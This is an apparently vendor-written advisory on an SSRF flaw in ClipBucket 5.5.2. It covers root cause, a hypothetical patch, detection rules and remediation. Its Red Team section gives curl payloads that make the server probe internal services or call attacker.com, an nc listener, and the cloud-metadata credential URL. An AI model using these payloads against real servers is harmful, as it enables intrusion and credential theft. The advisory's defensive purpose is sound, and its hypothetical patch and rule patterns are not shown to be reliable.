CVE-2025-55911

Executive Summary

CVE-2025-55911 is a Server-Side Request Forgery (SSRF) vulnerability in ClipBucket version 5.5.2 Build #90. An authenticated attacker with regular user permissions can exploit the file parameter in actions/file_downloader.php to force the server to make arbitrary HTTP requests to internal or external systems. This can lead to internal network enumeration, metadata leakage, and potential pivoting to internal services. The vulnerability has a public proof-of-concept (PoC) exploit available on Exploit-DB, and no official patch has been released as of this report.

Supply Chain & Package Security

ClipBucket is a PHP-based video sharing CMS. The vulnerability resides in a core PHP file (actions/file_downloader.php), not in a third-party package. However, the application may rely on PHP's file_get_contents() or curl functions, which are part of the standard PHP runtime. No specific supply chain compromise is indicated.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Calculated: 5.0 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Threat Level: Medium. While the CVSS score is moderate, the SSRF can be chained with other vulnerabilities (e.g., internal service exploitation) to increase impact.

Deep Dive & Mechanics

The vulnerability exists in the actions/file_downloader.php script. This script is designed to download files from a given URL, likely for user-uploaded content. The file parameter is passed directly to a function that fetches remote content (e.g., file_get_contents() or curl_exec()). The application does not validate or sanitize the URL, allowing an attacker to specify arbitrary destinations.

Root Cause: Lack of input validation on the file parameter. The application does not:

• Restrict the URL scheme (e.g., http://, https://, file://).
• Block internal IP addresses (e.g., 127.0.0.1, 10.0.0.0/8, 192.168.0.0/16).
• Implement a whitelist of allowed domains.

Attack Flow:

1. Attacker authenticates to ClipBucket.
2. Attacker sends a POST request to /upload/actions/file_downloader.php with file=http://127.0.0.1:3306/test.mp4.
3. The server initiates a connection to 127.0.0.1:3306 (MySQL).
4. The server may return error messages or timing differences, revealing internal service existence.

Potential Impact:

• Internal Network Enumeration: Scan internal IPs and ports.
• Cloud Metadata Access: If hosted on cloud (AWS, GCP, Azure), access http://169.254.169.254/latest/meta-data/ to retrieve credentials.
• Pivoting: Use the server as a proxy to attack other internal systems.

Vulnerable vs. Patched Code

Vulnerable Code (ClipBucket 5.5.2 Build #90):

// actions/file_downloader.php
$file = $_POST['file'];
$content = file_get_contents($file);
// ... process $content

Patched Code (Hypothetical):

// actions/file_downloader.php
$file = $_POST['file'];
$allowed_domains = ['example.com', 'cdn.example.com'];
$parsed_url = parse_url($file);
if (!in_array($parsed_url['host'], $allowed_domains)) {
    die('Invalid URL');
}
if (filter_var($parsed_url['host'], FILTER_VALIDATE_IP) && 
    !filter_var($parsed_url['host'], FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {
    die('Internal IP not allowed');
}
$content = file_get_contents($file);
// ... process $content

Key Differences:

• Whitelist: Patched version restricts allowed domains.
• IP Validation: Patched version blocks private and reserved IP ranges.
• Error Handling: Patched version provides clear error messages.

Exploitation & Lab Setup

Red Team

Prerequisites:

• ClipBucket 5.5.2 Build #90 installed on a target.
• Valid user credentials (e.g., testuser:password).

Exploit Steps:

1. Log in to ClipBucket and obtain a valid session cookie.
2. Use the following PoC request to test SSRF:

curl -X POST http://victim.com/upload/actions/file_downloader.php \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: PHPSESSID=validsession" \
  -d "file=http://127.0.0.1:3306/test.mp4"

3. Observe response time or error messages to confirm internal service reachability.

Advanced Exploitation:

• Use a listener to capture outbound requests:

nc -lvnp 8080

• Send request to attacker-controlled server:

curl -X POST http://victim.com/upload/actions/file_downloader.php \
  -H "Cookie: PHPSESSID=validsession" \
  -d "file=http://attacker.com:8080/ssrf_test"

Full Exploit-DB Code:

# Exploit Title: ClipBucket 5.5.2 Build #90 - Server-Side Request Forgery (SSRF)
# Google Dork: N/A
# Date: 2025-09-11
# Exploit Author: Mukundsinh Solanki (r00td3str0y3r)
# Vendor Homepage: https://clipbucket.com
# Software Link: https://github.com/MacWarrior/clipbucket-v5
# Version: 5.5.2 Build #90
# Tested on: Ubuntu 20.04 LTS, PHP 7.4
# CVE: CVE-2025-55911

## Vulnerability Description:
An authenticated user with regular permissions can exploit a Server-Side
Request Forgery (SSRF) vulnerability via the `file` parameter in
`actions/file_downloader.php`. By supplying a crafted URL, attackers can
force the server to make arbitrary HTTP requests to internal services or
external systems. This can lead to internal network enumeration, data
exfiltration, or pivoting attacks.

## PoC Request:

POST /upload/actions/file_downloader.php HTTP/1.1
Host: victim.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=validsession

file=http://127.0.0.1:3306/test.mp4

## Impact:
- Internal service enumeration
- Potential metadata leakage
- Pivoting to internal systems

Regards,
Mukundsinh Solanki
+916355251151

Blue Team

Detection Steps:

1. Monitor web server logs for requests to /upload/actions/file_downloader.php with suspicious file parameters.
2. Look for outbound connections from the web server to internal IPs (e.g., 127.0.0.1, 10.x.x.x, 192.168.x.x).
3. Check for unusual response times or error messages indicating internal service probing.

Hunting Query (Splunk):

index=web_logs source="/var/log/apache2/access.log"
| search uri="/upload/actions/file_downloader.php"
| rex field=uri "file=(?<target_url>[^&]+)"
| where match(target_url, "^(http|https)://(127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)")
| stats count by clientip, target_url

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_55911_SSRF_ClipBucket {
    meta:
        description = "Detects SSRF exploitation attempts against ClipBucket CVE-2025-55911"
        author = "Valters IT"
        date = "2025-09-11"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-55911"
    strings:
        $s1 = "file_downloader.php" ascii wide nocase
        $s2 = "file=" ascii wide nocase
        $s3 = "127.0.0.1" ascii wide nocase
        $s4 = "169.254.169.254" ascii wide nocase
        $s5 = "192.168." ascii wide nocase
        $s6 = "10." ascii wide nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: ClipBucket SSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSRF attempts against ClipBucket CVE-2025-55911
author: Valters IT
date: 2025-09-11
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/upload/actions/file_downloader.php"
    filter:
        cs-uri-query|contains:
            - "127.0.0.1"
            - "169.254.169.254"
            - "192.168."
            - "10."
    condition: selection and filter
falsepositives:
    - Legitimate use of file downloader with internal URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-55911 ClipBucket SSRF Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/upload/actions/file_downloader.php"; http_uri;
    content:"file="; http_client_body;
    pcre:"/file=(http|https):\/\/(127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.|169\.254\.)/Ri";
    sid:10000001;
    rev:1;
    reference:cve,2025-55911;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Remove or restrict access to /upload/actions/file_downloader.php via web server configuration (e.g., .htaccess).
2. Apply input validation: Implement a whitelist of allowed domains and block private IP ranges.
3. Upgrade: Monitor ClipBucket for an official patch and apply it immediately.

Long-Term Fixes:

• Use a URL validation library (e.g., guzzlehttp/psr7 for PHP).
• Implement network segmentation to limit outbound connections from the web server.
• Deploy a Web Application Firewall (WAF) with SSRF protection rules.

Workaround:

• Modify the PHP code to use parse_url() and validate the host against a whitelist.

Valters IT

{/* [Security Hash: 2445083D3773CEF77EEBC4CE] */}